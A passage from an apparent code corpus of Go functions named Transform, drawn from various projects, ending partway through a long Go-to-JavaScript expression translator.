e.Name26.Transform(float64(s.Name26))\n\tidx++\n\n\tdst[idx] = e.Name27.Transform(float64(s.Name27))\n\tidx++\n\n\tdst[idx] = e.Name28.Transform(float64(s.Name28))\n\tidx++\n\n\tdst[idx] = e.Name29.Transform(float64(s.Name29))\n\tidx++\n\n\tdst[idx] = e.Name30.Transform(float64(s.Name30))\n\tidx++\n\n\tdst[idx] = e.Name31.Transform(float64(s.Name31))\n\tidx++\n\n\tdst[idx] = e.Name32.Transform(float64(s.Name32))\n\tidx++\n\n}","func Transform(t Text, transformer string) Text {\n\tf := FindTransformer(transformer)\n\tif f == nil {\n\t\treturn t\n\t}\n\tt = t.Clone()\n\tfor _, seg := range t {\n\t\tf(seg)\n\t}\n\treturn t\n}","func transformPlugin(dst *engine.Step, src *yaml.Container, _ *config.Config) {\n\tif dst.Environment == nil {\n\t\tdst.Environment = map[string]string{}\n\t}\n\tparamsToEnv(src.Vargs, dst.Environment)\n}","func (s *BaseSyslParserListener) EnterTransform(ctx *TransformContext) {}","func (e RegistriesExtraction) Transform() (Output, error) {\n\tlogrus.Info(\"RegistriesTransform::Extraction\")\n\tvar manifests []Manifest\n\n\tconst (\n\t\tapiVersion = \"config.openshift.io/v1\"\n\t\tkind = \"Image\"\n\t\tname = \"cluster\"\n\t\tannokey = \"release.openshift.io/create-only\"\n\t\tannoval = \"true\"\n\t)\n\n\tvar imageCR ImageCR\n\timageCR.APIVersion = apiVersion\n\timageCR.Kind = kind\n\timageCR.Metadata.Name = name\n\timageCR.Metadata.Annotations = make(map[string]string)\n\timageCR.Metadata.Annotations[annokey] = annoval\n\timageCR.Spec.RegistrySources.BlockedRegistries = e.Registries[\"block\"].List\n\timageCR.Spec.RegistrySources.InsecureRegistries = e.Registries[\"insecure\"].List\n\n\timageCRYAML, err := yaml.Marshal(&imageCR)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tmanifest := Manifest{Name: \"100_CPMA-cluster-config-registries.yaml\", CRD: imageCRYAML}\n\tmanifests = append(manifests, manifest)\n\n\treturn ManifestOutput{\n\t\tManifests: manifests,\n\t}, nil\n}","func transformIndex(n *ir.IndexExpr) {\n\tassert(n.Type() != nil && n.Typecheck() == 1)\n\tn.X = implicitstar(n.X)\n\tl := n.X\n\tt := l.Type()\n\tif t.Kind() == types.TMAP {\n\t\tn.Index = assignconvfn(n.Index, t.Key())\n\t\tn.SetOp(ir.OINDEXMAP)\n\t\t// Set type to just the map value, not (value, bool). This is\n\t\t// different from types2, but fits the later stages of the\n\t\t// compiler better.\n\t\tn.SetType(t.Elem())\n\t\tn.Assigned = false\n\t}\n}","func (rv *RefVarTransformer) Transform(m resmap.ResMap) error {\n\trv.replacementCounts = make(map[string]int)\n\trv.mappingFunc = expansion.MappingFuncFor(\n\t\trv.replacementCounts, rv.varMap)\n\tfor id, res := range m {\n\t\tfor _, fieldSpec := range rv.fieldSpecs {\n\t\t\tif id.Gvk().IsSelected(&fieldSpec.Gvk) {\n\t\t\t\tif err := mutateField(\n\t\t\t\t\tres.Map(), fieldSpec.PathSlice(),\n\t\t\t\t\tfalse, rv.replaceVars); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn nil\n}","func (ss Set) Transform(fn func(string) string) {\n\tfor k, v := range ss {\n\t\tnk := fn(k)\n\t\tif nk != k {\n\t\t\tdelete(ss, k)\n\t\t\tss[nk] = v\n\t\t}\n\t}\n}","func Transform(deployment *appsv1.Deployment) *appsv1.Deployment {\n\treturn &appsv1.Deployment{\n\t\tObjectMeta: metadata.TransformObjectMeta(deployment.ObjectMeta),\n\t\tSpec: appsv1.DeploymentSpec{\n\t\t\tReplicas: deployment.Spec.Replicas,\n\t\t},\n\t\tStatus: appsv1.DeploymentStatus{\n\t\t\tAvailableReplicas: deployment.Status.AvailableReplicas,\n\t\t},\n\t}\n}","func transformArgs(n ir.InitNode) {\n\tvar list []ir.Node\n\tswitch n := n.(type) {\n\tdefault:\n\t\tbase.Fatalf(\"transformArgs %+v\", n.Op())\n\tcase *ir.CallExpr:\n\t\tlist = n.Args\n\t\tif n.IsDDD {\n\t\t\treturn\n\t\t}\n\tcase *ir.ReturnStmt:\n\t\tlist = n.Results\n\t}\n\tif len(list) != 1 {\n\t\treturn\n\t}\n\n\tt := list[0].Type()\n\tif t == nil || !t.IsFuncArgStruct() {\n\t\treturn\n\t}\n\n\t// Save n as n.Orig for fmt.go.\n\tif ir.Orig(n) == n {\n\t\tn.(ir.OrigNode).SetOrig(ir.SepCopy(n))\n\t}\n\n\t// Rewrite f(g()) into t1, t2, ... = g(); f(t1, t2, ...).\n\ttypecheck.RewriteMultiValueCall(n, list[0])\n}","func (EditMultisigResource) Transform(txData interface{}, context *state.CheckState) TxDataResource {\n\tdata := txData.(*transaction.EditMultisigData)\n\n\tresource := EditMultisigResource{\n\t\tAddresses: data.Addresses,\n\t\tThreshold: strconv.Itoa(int(data.Threshold)),\n\t}\n\n\tresource.Weights = make([]string, 0, len(data.Weights))\n\tfor _, weight := range data.Weights {\n\t\tresource.Weights = append(resource.Weights, strconv.Itoa(int(weight)))\n\t}\n\n\treturn resource\n}","func (t *Transformer) Transform(logRecord *InputRecord, recType string, tzShiftMin int, anonymousUsers []int) (*OutputRecord, error) {\n\tuserID := -1\n\n\tr := &OutputRecord{\n\t\tType: recType,\n\t\ttime: logRecord.GetTime(),\n\t\tDatetime: logRecord.GetTime().Add(time.Minute * time.Duration(tzShiftMin)).Format(time.RFC3339),\n\t\tIPAddress: logRecord.Request.RemoteAddr,\n\t\tUserAgent: logRecord.Request.HTTPUserAgent,\n\t\tIsAnonymous: userID == -1 || conversion.UserBelongsToList(userID, anonymousUsers),\n\t\tIsQuery: false,\n\t\tUserID: strconv.Itoa(userID),\n\t\tAction: logRecord.Action,\n\t\tPath: logRecord.Path,\n\t\tProcTime: logRecord.ProcTime,\n\t\tParams: logRecord.Params,\n\t}\n\tr.ID = createID(r)\n\tif t.prevReqs.ContainsSimilar(r) && r.Action == \"overlay\" ||\n\t\t!t.prevReqs.ContainsSimilar(r) && r.Action == \"text\" {\n\t\tr.IsQuery = true\n\t}\n\tt.prevReqs.AddItem(r)\n\treturn r, nil\n}","func TransformException(ex *Exception, store *SourceMapStore) *Exception {\n\tif ex.Stacktrace == nil {\n\t\treturn ex\n\t}\n\tframes := []Frame{}\n\n\tfor _, frame := range ex.Stacktrace.Frames {\n\t\tframe := frame\n\t\tmappedFrame, err := store.resolveSourceLocation(frame)\n\t\tif err != nil {\n\t\t\tframes = append(frames, frame)\n\t\t} else if mappedFrame != nil {\n\t\t\tframes = append(frames, *mappedFrame)\n\t\t} else {\n\t\t\tframes = append(frames, frame)\n\t\t}\n\t}\n\n\treturn &Exception{\n\t\tType: ex.Type,\n\t\tValue: ex.Value,\n\t\tStacktrace: &Stacktrace{Frames: frames},\n\t\tTimestamp: ex.Timestamp,\n\t}\n}","func (r *RemoveLabels) Transform(mfs []*dto.MetricFamily) []*dto.MetricFamily {\n\tfor i := range mfs {\n\t\tfor j, m := range mfs[i].Metric {\n\t\t\t// Filter out labels\n\t\t\tlabels := m.Label[:0]\n\t\t\tfor _, l := range m.Label {\n\t\t\t\tif _, ok := r.Labels[l.GetName()]; !ok {\n\t\t\t\t\tlabels = append(labels, l)\n\t\t\t\t}\n\t\t\t}\n\t\t\tmfs[i].Metric[j].Label = labels\n\t\t}\n\t}\n\treturn mfs\n}","func (e *expression) transform(expr ast.Expr) {\n\tswitch typ := expr.(type) {\n\n\t// godoc go/ast ArrayType\n\t// Lbrack token.Pos // position of \"[\"\n\t// Len Expr // Ellipsis node for [...]T array types, nil for slice types\n\t// Elt Expr // element type\n\tcase *ast.ArrayType:\n\t\t// Type checking\n\t\tif _, ok := typ.Elt.(*ast.Ident); ok {\n\t\t\tif e.tr.getExpression(typ.Elt).hasError {\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t\tif typ.Len == nil { // slice\n\t\t\tbreak\n\t\t}\n\t\tif _, ok := typ.Len.(*ast.Ellipsis); ok {\n\t\t\te.isEllipsis = true\n\t\t\tbreak\n\t\t}\n\n\t\tif len(e.lenArray) != 0 {\n\t\t\te.writeLoop()\n\t\t\te.WriteString(fmt.Sprintf(\"{%s%s=\", SP+e.varName, e.printArray()))\n\t\t}\n\t\te.WriteString(\"[]\")\n\t\te.addLenArray(typ.Len)\n\n\t\tswitch t := typ.Elt.(type) {\n\t\tcase *ast.ArrayType: // multi-dimensional array\n\t\t\te.transform(typ.Elt)\n\t\tcase *ast.Ident, *ast.StarExpr: // the type is initialized\n\t\t\tzero, _ := e.tr.zeroValue(true, typ.Elt)\n\n\t\t\te.writeLoop()\n\t\t\te.WriteString(fmt.Sprintf(\"{%s=%s;%s}\",\n\t\t\t\tSP+e.tr.lastVarName+e.printArray(), zero, SP))\n\n\t\t\tif len(e.lenArray) > 1 {\n\t\t\t\te.WriteString(strings.Repeat(\"}\", len(e.lenArray)-1))\n\t\t\t}\n\t\tdefault:\n\t\t\tpanic(fmt.Sprintf(\"*expression.transform: type unimplemented: %T\", t))\n\t\t}\n\t\te.skipSemicolon = true\n\n\t// godoc go/ast BasicLit\n\t// Kind token.Token // token.INT, token.FLOAT, token.IMAG, token.CHAR, or token.STRING\n\t// Value string // literal string\n\tcase *ast.BasicLit:\n\t\te.WriteString(typ.Value)\n\t\te.isBasicLit = true\n\n\t// http://golang.org/doc/go_spec.html#Comparison_operators\n\t// https://developer.mozilla.org/en/JavaScript/Reference/Operators/Comparison_Operators\n\t//\n\t// godoc go/ast BinaryExpr\n\t// X Expr // left operand\n\t// Op token.Token // operator\n\t// Y Expr // right operand\n\tcase *ast.BinaryExpr:\n\t\tisComparing := false\n\t\tisOpNot := false\n\t\top := typ.Op.String()\n\n\t\tswitch typ.Op {\n\t\tcase token.NEQ:\n\t\t\tisOpNot = true\n\t\t\tfallthrough\n\t\tcase token.EQL:\n\t\t\top += \"=\"\n\t\t\tisComparing = true\n\t\t}\n\n\t\tif e.tr.isConst {\n\t\t\te.transform(typ.X)\n\t\t\te.WriteString(SP + op + SP)\n\t\t\te.transform(typ.Y)\n\t\t\tbreak\n\t\t}\n\n\t\t// * * *\n\t\tx := e.tr.getExpression(typ.X)\n\t\ty := e.tr.getExpression(typ.Y)\n\n\t\tif isComparing {\n\t\t\txStr := stripField(x.String())\n\t\t\tyStr := stripField(y.String())\n\n\t\t\tif y.isNil && e.tr.isType(sliceType, xStr) {\n\t\t\t\tif isOpNot {\n\t\t\t\t\te.WriteString(\"!\")\n\t\t\t\t}\n\t\t\t\te.WriteString(xStr + \".isNil()\")\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tif x.isNil && e.tr.isType(sliceType, yStr) {\n\t\t\t\tif isOpNot {\n\t\t\t\t\te.WriteString(\"!\")\n\t\t\t\t}\n\t\t\t\te.WriteString(yStr + \".isNil()\")\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\n\t\t// * * *\n\t\tstringify := false\n\n\t\t// JavaScript only compares basic literals.\n\t\tif isComparing && !x.isBasicLit && !x.returnBasicLit && !y.isBasicLit && !y.returnBasicLit {\n\t\t\tstringify = true\n\t\t}\n\n\t\tif stringify {\n\t\t\te.WriteString(\"JSON.stringify(\" + x.String() + \")\")\n\t\t} else {\n\t\t\te.WriteString(x.String())\n\t\t}\n\t\t// To know when a pointer is compared with the value nil.\n\t\tif y.isNil && !x.isPointer && !x.isAddress {\n\t\t\te.WriteString(NIL)\n\t\t}\n\n\t\te.WriteString(SP + op + SP)\n\n\t\tif stringify {\n\t\t\te.WriteString(\"JSON.stringify(\" + y.String() + \")\")\n\t\t} else {\n\t\t\te.WriteString(y.String())\n\t\t}\n\t\tif x.isNil && !y.isPointer && !y.isAddress {\n\t\t\te.WriteString(NIL)\n\t\t}\n\n\t// godoc go/ast CallExpr\n\t// Fun Expr // function expression\n\t// Args []Expr // function arguments; or nil\n\tcase *ast.CallExpr:\n\t\t// === Library\n\t\tif call, ok := typ.Fun.(*ast.SelectorExpr); ok {\n\t\t\te.transform(call)\n\n\t\t\tstr := fmt.Sprintf(\"%s\", e.tr.GetArgs(e.funcName, typ.Args))\n\t\t\tif e.funcName != \"fmt.Sprintf\" && e.funcName != \"fmt.Sprint\" {\n\t\t\t\tstr = \"(\" + str + \")\"\n\t\t\t}\n\n\t\t\te.WriteString(str)\n\t\t\tbreak\n\t\t}\n\n\t\t// === Conversion: []byte()\n\t\tif call, ok := typ.Fun.(*ast.ArrayType); ok {\n\t\t\tif call.Elt.(*ast.Ident).Name == \"byte\" {\n\t\t\t\te.transform(typ.Args[0])\n\t\t\t} else {\n\t\t\t\tpanic(fmt.Sprintf(\"call of conversion unimplemented: []%T()\", call))\n\t\t\t}\n\t\t\tbreak\n\t\t}\n\n\t\t// === Built-in functions - golang.org/pkg/builtin/\n\t\tcall := typ.Fun.(*ast.Ident).Name\n\n\t\tswitch call {\n\t\tcase \"make\":\n\t\t\t// Type checking\n\t\t\tif e.tr.getExpression(typ.Args[0]).hasError {\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tswitch argType := typ.Args[0].(type) {\n\t\t\t// For slice\n\t\t\tcase *ast.ArrayType:\n\t\t\t\tzero, _ := e.tr.zeroValue(true, argType.Elt)\n\n\t\t\t\te.WriteString(fmt.Sprintf(\"%s,%s%s\", zero, SP,\n\t\t\t\t\te.tr.getExpression(typ.Args[1]))) // length\n\n\t\t\t\t// capacity\n\t\t\t\tif len(typ.Args) == 3 {\n\t\t\t\t\te.WriteString(\",\" + SP + e.tr.getExpression(typ.Args[2]).String())\n\t\t\t\t}\n\n//\t\t\t\te.tr.slices[e.tr.funcId][e.tr.blockId][e.tr.lastVarName] = void\n\t\t\t\te.isMake = true\n\n\t\t\tcase *ast.MapType:\n\t\t\t\te.tr.maps[e.tr.funcId][e.tr.blockId][e.tr.lastVarName] = void\n\t\t\t\te.WriteString(\"new g.M({},\" + SP + e.tr.zeroOfMap(argType) + \")\")\n\n\t\t\tcase *ast.ChanType:\n\t\t\t\te.transform(typ.Fun)\n\n\t\t\tdefault:\n\t\t\t\tpanic(fmt.Sprintf(\"call of 'make' unimplemented: %T\", argType))\n\t\t\t}\n\n\t\tcase \"new\":\n\t\t\tswitch argType := typ.Args[0].(type) {\n\t\t\tcase *ast.ArrayType:\n\t\t\t\tfor _, arg := range typ.Args {\n\t\t\t\t\te.transform(arg)\n\t\t\t\t}\n\n\t\t\tcase *ast.Ident:\n\t\t\t\tvalue, _ := e.tr.zeroValue(true, argType)\n\t\t\t\te.WriteString(value)\n\n\t\t\tdefault:\n\t\t\t\tpanic(fmt.Sprintf(\"call of 'new' unimplemented: %T\", argType))\n\t\t\t}\n\n\t\t// == Conversion\n\t\tcase \"string\":\n\t\t\targ := e.tr.getExpression(typ.Args[0]).String()\n\t\t\t_arg := stripField(arg)\n\n\t\t\tif !e.tr.isType(sliceType, _arg) {\n\t\t\t\te.WriteString(arg)\n\t\t\t\te.returnBasicLit = true\n\t\t\t} else {\n\t\t\t\te.WriteString(_arg + \".toString()\")\n\t\t\t}\n\n\t\tcase \"uint\", \"uint8\", \"uint16\", \"uint32\",\n\t\t\t\"int\", \"int8\", \"int16\", \"int32\",\n\t\t\t\"float32\", \"float64\", \"byte\", \"rune\":\n\t\t\te.transform(typ.Args[0])\n\t\t\te.returnBasicLit = true\n\t\t// ==\n\n\t\tcase \"print\", \"println\":\n\t\t\te.WriteString(fmt.Sprintf(\"console.log(%s)\", e.tr.GetArgs(call, typ.Args)))\n\n\t\tcase \"len\":\n\t\t\targ := e.tr.getExpression(typ.Args[0]).String()\n\t\t\t_arg := stripField(arg)\n\n\t\t\tif e.tr.isType(sliceType, _arg) {\n\t\t\t\te.WriteString(_arg + \".len\")\n\t\t\t} else {\n\t\t\t\te.WriteString(arg + \".length\")\n\t\t\t}\n\n\t\t\te.returnBasicLit = true\n\n\t\tcase \"cap\":\n\t\t\targ := e.tr.getExpression(typ.Args[0]).String()\n\t\t\t_arg := stripField(arg)\n\n\t\t\tif e.tr.isType(sliceType, _arg) {\n\t\t\t\tif strings.HasSuffix(arg, \".f\") {\n\t\t\t\t\targ = _arg\n\t\t\t\t}\n\t\t\t}\n\n\t\t\te.WriteString(arg + \".cap\")\n\t\t\te.returnBasicLit = true\n\n\t\tcase \"delete\":\n\t\t\te.WriteString(fmt.Sprintf(\"delete %s.f[%s]\",\n\t\t\t\te.tr.getExpression(typ.Args[0]).String(),\n\t\t\t\te.tr.getExpression(typ.Args[1]).String()))\n\n\t\tcase \"panic\":\n\t\t\te.WriteString(fmt.Sprintf(\"throw new Error(%s)\",\n\t\t\t\te.tr.getExpression(typ.Args[0])))\n\n\t\t// === Not supported\n\t\tcase \"recover\", \"complex\":\n\t\t\te.tr.addError(\"%s: built-in function %s()\",\n\t\t\t\te.tr.fset.Position(typ.Fun.Pos()), call)\n\t\t\te.tr.hasError = true\n\t\t\treturn\n\t\tcase \"int64\", \"uint64\":\n\t\t\te.tr.addError(\"%s: conversion of type %s\",\n\t\t\t\te.tr.fset.Position(typ.Fun.Pos()), call)\n\t\t\te.tr.hasError = true\n\t\t\treturn\n\n\t\t// === Not implemented\n\t\tcase \"append\", \"close\", \"copy\", \"uintptr\":\n\t\t\tpanic(fmt.Sprintf(\"built-in call unimplemented: %s\", call))\n\n\t\t// Defined functions\n\t\tdefault:\n\t\t\targs := \"\"\n\n\t\t\tfor i, v := range typ.Args {\n\t\t\t\tif i != 0 {\n\t\t\t\t\targs += \",\" + SP\n\t\t\t\t}\n\t\t\t\targs += e.tr.getExpression(v).String()\n\t\t\t}\n\n\t\t\te.WriteString(fmt.Sprintf(\"%s(%s)\", call, args))\n\t\t}\n\n\t// godoc go/ast ChanType\n\t// Begin token.Pos // position of \"chan\" keyword or \"<-\" (whichever comes first)\n\t// Dir ChanDir // channel direction\n\t// Value Expr // value type\n\tcase *ast.ChanType:\n\t\te.tr.addError(\"%s: channel type\", e.tr.fset.Position(typ.Pos()))\n\t\te.tr.hasError = true\n\t\treturn\n\n\t// godoc go/ast CompositeLit\n\t// Type Expr // literal type; or nil\n\t// Lbrace token.Pos // position of \"{\"\n\t// Elts []Expr // list of composite elements; or nil\n\t// Rbrace token.Pos // position of \"}\"\n\tcase *ast.CompositeLit:\n\t\tswitch compoType := typ.Type.(type) {\n\t\tcase *ast.ArrayType:\n\t\t\tif !e.arrayHasElts {\n\t\t\t\te.transform(typ.Type)\n\t\t\t}\n\n\t\t\tif e.isEllipsis {\n\t\t\t\te.WriteString(\"[\")\n\t\t\t\te.writeElts(typ.Elts, typ.Lbrace, typ.Rbrace)\n\t\t\t\te.WriteString(\"]\")\n\t\t\t\tbreak\n\t\t\t}\n\n\t\t\t// Slice\n/*\t\t\tif compoType.Len == nil {\n\t\t\t\te.tr.slices[e.tr.funcId][e.tr.blockId][e.tr.lastVarName] = void\n\t\t\t}*/\n\t\t\t// For arrays with elements\n\t\t\tif len(typ.Elts) != 0 {\n\t\t\t\tif !e.arrayHasElts && compoType.Len != nil {\n\t\t\t\t\te.WriteString(fmt.Sprintf(\"%s=%s\", SP+e.varName+SP, SP))\n\t\t\t\t\te.arrayHasElts = true\n\t\t\t\t}\n\t\t\t\te.WriteString(\"[\")\n\t\t\t\te.writeElts(typ.Elts, typ.Lbrace, typ.Rbrace)\n\t\t\t\te.WriteString(\"]\")\n\n\t\t\t\te.skipSemicolon = false\n\t\t\t}\n\n\t\tcase *ast.Ident: // Custom types\n\t\t\tuseField := false\n\t\t\te.WriteString(\"new \" + typ.Type.(*ast.Ident).Name)\n\n\t\t\tif len(typ.Elts) != 0 {\n\t\t\t\t// Specify the fields\n\t\t\t\tif _, ok := typ.Elts[0].(*ast.KeyValueExpr); ok {\n\t\t\t\t\tuseField = true\n\n\t\t\t\t\te.WriteString(\"();\")\n\t\t\t\t\te.writeTypeElts(typ.Elts, typ.Lbrace)\n\t\t\t\t}\n\t\t\t}\n\t\t\tif !useField {\n\t\t\t\te.WriteString(\"(\")\n\t\t\t\te.writeElts(typ.Elts, typ.Lbrace, typ.Rbrace)\n\t\t\t\te.WriteString(\")\")\n\t\t\t}\n\n\t\tcase *ast.MapType:\n\t\t\t// Type checking\n\t\t\tif e.tr.getExpression(typ.Type).hasError {\n\t\t\t\treturn\n\t\t\t}\n\t\t\te.tr.maps[e.tr.funcId][e.tr.blockId][e.tr.lastVarName] = void\n\n\t\t\te.WriteString(\"new g.M({\")\n\t\t\te.writeElts(typ.Elts, typ.Lbrace, typ.Rbrace)\n\t\t\te.WriteString(\"},\" + SP + e.tr.zeroOfMap(compoType) + \")\")\n\n\t\tcase nil:\n\t\t\te.WriteString(\"[\")\n\t\t\te.writeElts(typ.Elts, typ.Lbrace, typ.Rbrace)\n\t\t\te.WriteString(\"]\")\n\n\t\tdefault:\n\t\t\tpanic(fmt.Sprintf(\"'CompositeLit' unimplemented: %T\", compoType))\n\t\t}\n\n\t// godoc go/ast Ellipsis\n\t// Ellipsis token.Pos // position of \"...\"\n\t// Elt Expr // ellipsis element type (parameter lists only); or nil\n\t//case *ast.Ellipsis:\n\n\t// http://golang.org/doc/go_spec.html#Function_literals\n\t// https://developer.mozilla.org/en/JavaScript/Reference/Functions_and_function_scope#Function_constructor_vs._function_declaration_vs._function_expression\n\t// godoc go/ast FuncLit\n\t//\n\t// Type *FuncType // function type\n\t// Body *BlockStmt // function body\n\tcase *ast.FuncLit:\n\t\te.transform(typ.Type)\n\t\te.tr.getStatement(typ.Body)\n\n\t// godoc go/ast FuncType\n\t// Func token.Pos // position of \"func\" keyword\n\t// Params *FieldList // (incoming) parameters; or nil\n\t// Results *FieldList // (outgoing) results; or nil\n\tcase *ast.FuncType:\n\t\t//e.isFunc = true\n\t\te.tr.writeFunc(nil, nil, typ)\n\n\t// godoc go/ast Ident\n\t// Name string // identifier name\n\tcase *ast.Ident:\n\t\tname := typ.Name\n\n\t\tswitch name {\n\t\tcase \"iota\":\n\t\t\te.WriteString(IOTA)\n\t\t\te.useIota = true\n\n\t\t// Undefined value in array / slice\n\t\tcase \"_\":\n\t\t\tif len(e.lenArray) == 0 {\n\t\t\t\te.WriteString(name)\n\t\t\t}\n\t\t// https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/undefined\n\t\tcase \"nil\":\n\t\t\te.WriteString(\"undefined\")\n\t\t\te.isBasicLit = true\n\t\t\te.isNil = true\n\n\t\t// Not supported\n\t\tcase \"int64\", \"uint64\", \"complex64\", \"complex128\":\n\t\t\te.tr.addError(\"%s: %s type\", e.tr.fset.Position(typ.Pos()), name)\n\t\t\te.tr.hasError = true\n\t\t// Not implemented\n\t\tcase \"uintptr\":\n\t\t\te.tr.addError(\"%s: unimplemented type %q\", e.tr.fset.Position(typ.Pos()), name)\n\t\t\te.tr.hasError = true\n\n\t\tdefault:\n\t\t\tif e.isPointer { // `*x` => `x.p`\n\t\t\t\tname += \".p\"\n\t\t\t} else if e.isAddress { // `&x` => `x`\n\t\t\t\te.tr.addPointer(name)\n\t\t\t} else {\n\t\t\t\tif !e.tr.isVar {\n\t\t\t\t\tisSlice := false\n\n\t\t\t\t\tif e.tr.isType(sliceType, name) {\n\t\t\t\t\t\tisSlice = true\n\t\t\t\t\t}\n\t\t\t\t\t/*if name == e.tr.recvVar {\n\t\t\t\t\t\tname = \"this\"\n\t\t\t\t\t}*/\n\t\t\t\t\tif isSlice {\n\t\t\t\t\t\tname += \".f\" // slice field\n\t\t\t\t\t}\n\n\t\t\t\t\tif _, ok := e.tr.vars[e.tr.funcId][e.tr.blockId][name]; ok {\n\t\t\t\t\t\tname += tagPointer(false, 'P', e.tr.funcId, e.tr.blockId, name)\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\te.isIdent = true\n\t\t\t\t}\n\t\t\t}\n\n\t\t\te.WriteString(name)\n\t\t}\n\n\t// godoc go/ast IndexExpr\n\t// Represents an expression followed by an index.\n\t// X Expr // expression\n\t// Lbrack token.Pos // position of \"[\"\n\t// Index Expr // index expression\n\t// Rbrack token.Pos // position of \"]\"\n\tcase *ast.IndexExpr:\n\t\t// == Store indexes\n\t\te.index = append(e.index, e.tr.getExpression(typ.Index).String())\n\n\t\t// Could be multi-dimensional\n\t\tif _, ok := typ.X.(*ast.IndexExpr); ok {\n\t\t\te.transform(typ.X)\n\t\t\treturn\n\t\t}\n\t\t// ==\n\n\t\tx := e.tr.getExpression(typ.X).String()\n\t\tindex := \"\"\n\t\tindexArgs := \"\"\n\n\t\tfor i := len(e.index)-1; i >= 0; i-- { // inverse order\n\t\t\tidx := e.index[i]\n\t\t\tindex += \"[\" + idx + \"]\"\n\n\t\t\tif indexArgs != \"\" {\n\t\t\t\tindexArgs += \",\" + SP\n\t\t\t}\n\t\t\tindexArgs += idx\n\t\t}\n\n\t\tif e.tr.isType(mapType, x) {\n\t\t\te.mapName = x\n\n\t\t\tif e.tr.isVar && !e.isValue {\n\t\t\t\te.WriteString(x + \".f\" + index)\n\t\t\t} else {\n\t\t\t\te.WriteString(x + \".get(\" + indexArgs + \")[0]\")\n\t\t\t}\n\t\t} else if e.tr.isType(sliceType, x) {\n\t\t\te.WriteString(x + \".f\" + index)\n\t\t} else {\n\t\t\te.WriteString(x + index)\n\t\t}\n\n\t// godoc go/ast InterfaceType\n\t// Interface token.Pos // position of \"interface\" keyword\n\t// Methods *FieldList // list of methods\n\t// Incomplete bool // true if (source) methods are missing in the Methods list\n\tcase *ast.InterfaceType: // TODO: review\n\n\t// godoc go/ast KeyValueExpr\n\t// Key Expr\n\t// Colon token.Pos // position of \":\"\n\t// Value Expr\n\tcase *ast.KeyValueExpr:\n\t\tkey := e.tr.getExpression(typ.Key).String()\n\t\texprValue := e.tr.getExpression(typ.Value)\n\t\tvalue := exprValue.String()\n\n\t\tif value[0] == '[' { // multi-dimensional index\n\t\t\tvalue = \"{\" + value[1:len(value)-1] + \"}\"\n\t\t}\n\n\t\te.WriteString(key + \":\" + SP + value)\n\n\t// godoc go/ast MapType\n\t// Map token.Pos // position of \"map\" keyword\n\t// Key Expr\n\t// Value Expr\n\tcase *ast.MapType:\n\t\t// For type checking\n\t\te.tr.getExpression(typ.Key)\n\t\te.tr.getExpression(typ.Value)\n\n\t// godoc go/ast ParenExpr\n\t// Lparen token.Pos // position of \"(\"\n\t// X Expr // parenthesized expression\n\t// Rparen token.Pos // position of \")\"\n\tcase *ast.ParenExpr:\n\t\te.transform(typ.X)\n\n\t// godoc go/ast SelectorExpr\n\t// X Expr // expression\n\t// Sel *Ident // field selector\n\tcase *ast.SelectorExpr:\n\t\tisPkg := false\n\t\tx := \"\"\n\n\t\tswitch t := typ.X.(type) {\n\t\tcase *ast.SelectorExpr:\n\t\t\te.transform(typ.X)\n\t\tcase *ast.Ident:\n\t\t\tx = t.Name\n\t\tcase *ast.IndexExpr:\n\t\t\te.transform(t)\n\t\t\te.WriteString(\".\" + typ.Sel.Name)\n\t\t\treturn\n\t\tdefault:\n\t\t\tpanic(fmt.Sprintf(\"'SelectorExpr': unimplemented: %T\", t))\n\t\t}\n\n\t\tif x == e.tr.recvVar {\n\t\t\tx = \"this\"\n\t\t}\n\t\tgoName := x + \".\" + typ.Sel.Name\n\n\t\t// Check is the selector is a package\n\t\tfor _, v := range validImport {\n\t\t\tif v == x {\n\t\t\t\tisPkg = true\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\n\t\t// Check if it can be transformed to its equivalent in JavaScript.\n\t\tif isPkg {\n\t\t\tjsName, ok := Function[goName]\n\t\t\tif !ok {\n\t\t\t\tjsName, ok = Constant[goName]\n\t\t\t}\n\n\t\t\tif !ok {\n\t\t\t\te.tr.addError(fmt.Errorf(\"%s: %q not supported in JS\",\n\t\t\t\t\te.tr.fset.Position(typ.Sel.Pos()), goName))\n\t\t\t\te.tr.hasError = true\n\t\t\t\tbreak\n\t\t\t}\n\n\t\t\te.funcName = goName\n\t\t\te.WriteString(jsName)\n\t\t} else {\n\t\t\t/*if _, ok := e.tr.zeroType[x]; !ok {\n\t\t\t\tpanic(\"selector: \" + x)\n\t\t\t}*/\n\n\t\t\te.WriteString(goName)\n\t\t}\n\n\t// godoc go/ast SliceExpr\n\t// X Expr // expression\n\t// Lbrack token.Pos // position of \"[\"\n\t// Low Expr // begin of slice range; or nil\n\t// High Expr // end of slice range; or nil\n\t// Rbrack token.Pos // position of \"]\"\n\tcase *ast.SliceExpr:\n\t\tslice := \"0\"\n\t\tx := typ.X.(*ast.Ident).Name\n\n\t\tif typ.Low != nil {\n\t\t\tslice = typ.Low.(*ast.BasicLit).Value // e.tr.getExpression(typ.Low).String()\n\t\t}\n\t\tif typ.High != nil {\n\t\t\tslice += \",\" + SP + typ.High.(*ast.BasicLit).Value // e.tr.getExpression(typ.High).String()\n\t\t}\n\n\t\tif e.tr.isVar {\n\t\t\te.WriteString(x + \",\" + SP+slice)\n\t\t} else {\n\t\t\te.WriteString(fmt.Sprintf(\"g.NewSlice(%s,%s)\", x, SP+slice))\n\t\t}\n\n\t\te.name = x\n\t\te.isSlice = true\n\n\t// godoc go/ast StructType\n\t// Struct token.Pos // position of \"struct\" keyword\n\t// Fields *FieldList // list of field declarations\n\t// Incomplete bool // true if (source) fields are missing in the Fields list\n\tcase *ast.StructType:\n\n\t// godoc go/ast StarExpr\n\t// Star token.Pos // position of \"*\"\n\t// X Expr // operand\n\tcase *ast.StarExpr:\n\t\te.isPointer = true\n\t\te.transform(typ.X)\n\n\t// godoc go/ast UnaryExpr\n\t// OpPos token.Pos // position of Op\n\t// Op token.Token // operator\n\t// X Expr // operand\n\tcase *ast.UnaryExpr:\n\t\twriteOp := true\n\t\top := typ.Op.String()\n\n\t\tswitch 